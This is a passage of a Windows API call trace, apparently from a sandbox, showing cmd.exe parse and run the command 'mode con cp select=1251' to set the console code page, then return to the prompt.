lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0205.676] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.676] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.676] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0205.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0205.678] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.678] GetFileType (hFile=0xe8) returned 0x3 [0205.678] _get_osfhandle (_FileHandle=0) returned 0xe8 [0205.679] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.679] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.679] GetFileType (hFile=0xf4) returned 0x3 [0205.680] _get_osfhandle (_FileHandle=1) returned 0xf4 [0205.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0205.680] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x20f5f8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f5f8*=0x18, lpOverlapped=0x0) returned 1 [0205.681] GetProcessHeap () returned 0x380000 [0205.681] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x4012) returned 0x39b310 [0205.681] GetProcessHeap () returned 0x380000 [0205.681] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b310 | out: hHeap=0x380000) returned 1 [0205.682] _wcsicmp (_String1="mode", _String2=")") returned 68 [0205.682] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0205.682] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0205.682] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0205.682] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0205.682] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0205.683] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0205.683] GetProcessHeap () returned 0x380000 [0205.683] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb0) returned 0x399840 [0205.683] GetProcessHeap () returned 0x380000 [0205.683] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1a) returned 0x394630 [0205.684] GetProcessHeap () returned 0x380000 [0205.685] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x38) returned 0x396550 [0205.687] GetConsoleOutputCP () returned 0x1b5 [0205.688] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0205.688] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0205.688] GetConsoleTitleW (in: lpConsoleTitle=0x20f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0205.689] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0205.689] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0205.689] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0205.689] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0205.689] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0205.690] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0205.690] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0205.690] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0205.690] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0205.690] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0205.690] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0205.690] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0205.690] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0205.690] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0205.690] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0205.690] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0205.690] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0205.691] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0205.691] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0205.691] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0205.691] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0205.691] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0205.691] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0205.691] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0205.691] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0205.691] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0205.691] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0205.691] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0205.691] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0205.691] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0205.691] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0205.692] _wcsicmp (_String1="mode", _String2="START") returned -6 [0205.692] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0205.692] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0205.692] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0205.692] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0205.692] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0205.692] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0205.692] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0205.692] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0205.692] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0205.692] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0205.692] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0205.693] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0205.693] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0205.693] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0205.693] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0205.693] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0205.693] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0205.693] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0205.693] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0205.693] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0205.693] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0205.693] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0205.693] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0205.693] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0205.694] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0205.694] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0205.694] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0205.694] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0205.694] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0205.694] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0205.694] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0205.694] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0205.694] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0205.694] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0205.694] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0205.694] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0205.694] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0205.694] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0205.695] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0205.925] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0205.925] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0205.926] _wcsicmp (_String1="mode", _String2="START") returned -6 [0205.926] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0205.926] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0205.926] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0205.926] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0205.926] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0205.926] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0205.926] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0205.926] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0205.926] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0205.926] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0205.926] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0205.926] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0205.926] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0205.927] GetProcessHeap () returned 0x380000 [0205.927] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x218) returned 0x39aae0 [0205.927] GetProcessHeap () returned 0x380000 [0205.927] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x42) returned 0x399900 [0205.928] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0205.928] GetProcessHeap () returned 0x380000 [0205.928] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x420) returned 0x39b310 [0205.928] SetErrorMode (uMode=0x0) returned 0x0 [0205.929] SetErrorMode (uMode=0x1) returned 0x0 [0205.930] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x39b320, lpFilePart=0x20ee40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20ee40*="system32") returned 0x13 [0205.930] SetErrorMode (uMode=0x0) returned 0x1 [0205.930] GetProcessHeap () returned 0x380000 [0205.930] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39b310, Size=0x42) returned 0x39b310 [0205.930] GetProcessHeap () returned 0x380000 [0205.930] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39b310) returned 0x42 [0205.930] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0205.930] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0205.931] GetProcessHeap () returned 0x380000 [0205.931] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x104) returned 0x395bb0 [0205.931] GetProcessHeap () returned 0x380000 [0205.931] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1f8) returned 0x399c60 [0205.951] GetProcessHeap () returned 0x380000 [0205.951] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x399c60, Size=0x106) returned 0x399c60 [0205.951] GetProcessHeap () returned 0x380000 [0205.951] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x399c60) returned 0x106 [0205.951] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0205.951] GetProcessHeap () returned 0x380000 [0205.951] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xe8) returned 0x399d80 [0205.951] GetProcessHeap () returned 0x380000 [0205.952] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x399d80, Size=0x7e) returned 0x399d80 [0205.952] GetProcessHeap () returned 0x380000 [0205.952] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x399d80) returned 0x7e [0206.149] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0206.150] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x20ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ebb0) returned 0x395cc0 [0206.150] GetProcessHeap () returned 0x380000 [0206.150] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x0, Size=0x28) returned 0x394660 [0206.150] FindClose (in: hFindFile=0x395cc0 | out: hFindFile=0x395cc0) returned 1 [0206.151] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x20ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ebb0) returned 0x395cc0 [0206.151] GetProcessHeap () returned 0x380000 [0206.151] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x394660, Size=0x8) returned 0x399950 [0206.151] FindClose (in: hFindFile=0x395cc0 | out: hFindFile=0x395cc0) returned 1 [0206.151] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0206.151] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0206.152] GetConsoleTitleW (in: lpConsoleTitle=0x20f100, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0206.384] GetProcessHeap () returned 0x380000 [0206.384] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x21c) returned 0x39b370 [0206.384] GetConsoleTitleW (in: lpConsoleTitle=0x39b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0206.384] GetProcessHeap () returned 0x380000 [0206.384] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39b370, Size=0x8a) returned 0x39b370 [0206.385] GetProcessHeap () returned 0x380000 [0206.385] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39b370) returned 0x8a [0206.385] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0206.387] GetProcessHeap () returned 0x380000 [0206.388] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b370 | out: hHeap=0x380000) returned 1 [0206.388] InitializeProcThreadAttributeList (in: lpAttributeList=0x20eeb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20ee78 | out: lpAttributeList=0x20eeb8, lpSize=0x20ee78) returned 1 [0206.388] UpdateProcThreadAttribute (in: lpAttributeList=0x20eeb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ee68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20eeb8, lpPreviousValue=0x0) returned 1 [0206.388] GetStartupInfoW (in: lpStartupInfo=0x20efd0 | out: lpStartupInfo=0x20efd0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0206.388] GetProcessHeap () returned 0x380000 [0206.388] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x394660 [0206.388] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0206.388] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0206.389] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.390] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0206.391] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0206.392] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.392] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.392] GetProcessHeap () returned 0x380000 [0206.392] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x394660 | out: hHeap=0x380000) returned 1 [0206.392] GetProcessHeap () returned 0x380000 [0206.392] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x12) returned 0x398940 [0206.392] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x20eef0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20eea0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x20eea0*(hProcess=0x54, hThread=0x50, dwProcessId=0x678, dwThreadId=0x67c)) returned 1 [0206.415] CloseHandle (hObject=0x50) returned 1 [0206.415] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0206.415] GetProcessHeap () returned 0x380000 [0206.415] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x398aa0 | out: hHeap=0x380000) returned 1 [0206.415] GetEnvironmentStringsW () returned 0x398aa0* [0206.415] GetProcessHeap () returned 0x380000 [0206.415] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xafc) returned 0x39b370 [0206.416] FreeEnvironmentStringsW (penv=0x398aa0) returned 1 [0206.416] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76d10000 [0206.416] GetProcAddress (hModule=0x76d10000, lpProcName="NtQueryInformationProcess") returned 0x76d614a0 [0206.416] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x20e7a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20e7a8, ReturnLength=0x0) returned 0x0 [0206.417] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x20e7e0, nSize=0x380, lpNumberOfBytesRead=0x20e7a0 | out: lpBuffer=0x20e7e0*, lpNumberOfBytesRead=0x20e7a0*=0x380) returned 1 [0206.417] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0210.338] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x20ede8 | out: lpExitCode=0x20ede8*=0x0) returned 1 [0210.338] CloseHandle (hObject=0x54) returned 1 [0210.339] _vsnwprintf (in: _Buffer=0x20f058, _BufferCount=0x13, _Format="%08X", _ArgList=0x20edf8 | out: _Buffer="00000000") returned 8 [0210.339] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0210.339] GetProcessHeap () returned 0x380000 [0210.339] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b370 | out: hHeap=0x380000) returned 1 [0210.339] GetEnvironmentStringsW () returned 0x39e9b0* [0210.339] GetProcessHeap () returned 0x380000 [0210.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb22) returned 0x39f4e0 [0210.339] FreeEnvironmentStringsW (penv=0x39e9b0) returned 1 [0210.340] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0210.340] GetProcessHeap () returned 0x380000 [0210.340] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39f4e0 | out: hHeap=0x380000) returned 1 [0210.340] GetEnvironmentStringsW () returned 0x39e9b0* [0210.340] GetProcessHeap () returned 0x380000 [0210.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb22) returned 0x39f4e0 [0210.340] FreeEnvironmentStringsW (penv=0x39e9b0) returned 1 [0210.340] GetProcessHeap () returned 0x380000 [0210.340] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x398940 | out: hHeap=0x380000) returned 1 [0210.340] DeleteProcThreadAttributeList (in: lpAttributeList=0x20eeb8 | out: lpAttributeList=0x20eeb8) [0210.340] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0210.343] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.343] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0210.345] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.345] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4aa5e194 | out: lpMode=0x4aa5e194) returned 0 [0210.346] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.346] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4aa5e198 | out: lpMode=0x4aa5e198) returned 0 [0210.346] GetConsoleOutputCP () returned 0x4e3 [0210.347] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0210.353] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0210.355] GetProcessHeap () returned 0x380000 [0210.355] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399d80 | out: hHeap=0x380000) returned 1 [0210.355] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399c60 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395bb0 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b310 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399900 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39aae0 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.356] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x396550 | out: hHeap=0x380000) returned 1 [0210.356] GetProcessHeap () returned 0x380000 [0210.357] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x394630 | out: hHeap=0x380000) returned 1 [0210.357] GetProcessHeap () returned 0x380000 [0210.357] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399840 | out: hHeap=0x380000) returned 1 [0210.357] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f318 | out: _Buffer="\r\n") returned 2 [0210.357] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.357] GetFileType (hFile=0xf4) returned 0x3 [0210.357] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.357] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0210.358] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f2e8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f2e8*=0x2, lpOverlapped=0x0) returned 1 [0210.358] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0210.358] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0210.358] _vsnwprintf (in: _Buffer=0x4aa5eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f328 | out: _Buffer="C:\\Windows\\system32") returned 19 [0210.359] _vsnwprintf (in: _Buffer=0x4aa5eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x20f328 | out: _Buffer=">") returned 1 [0210.359] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.359] GetFileType (hFile=0xf4) returned 0x3 [0210.359] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.359] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0210.359] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x20f318, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f318*=0x14, lpOverlapped=0x0) returned 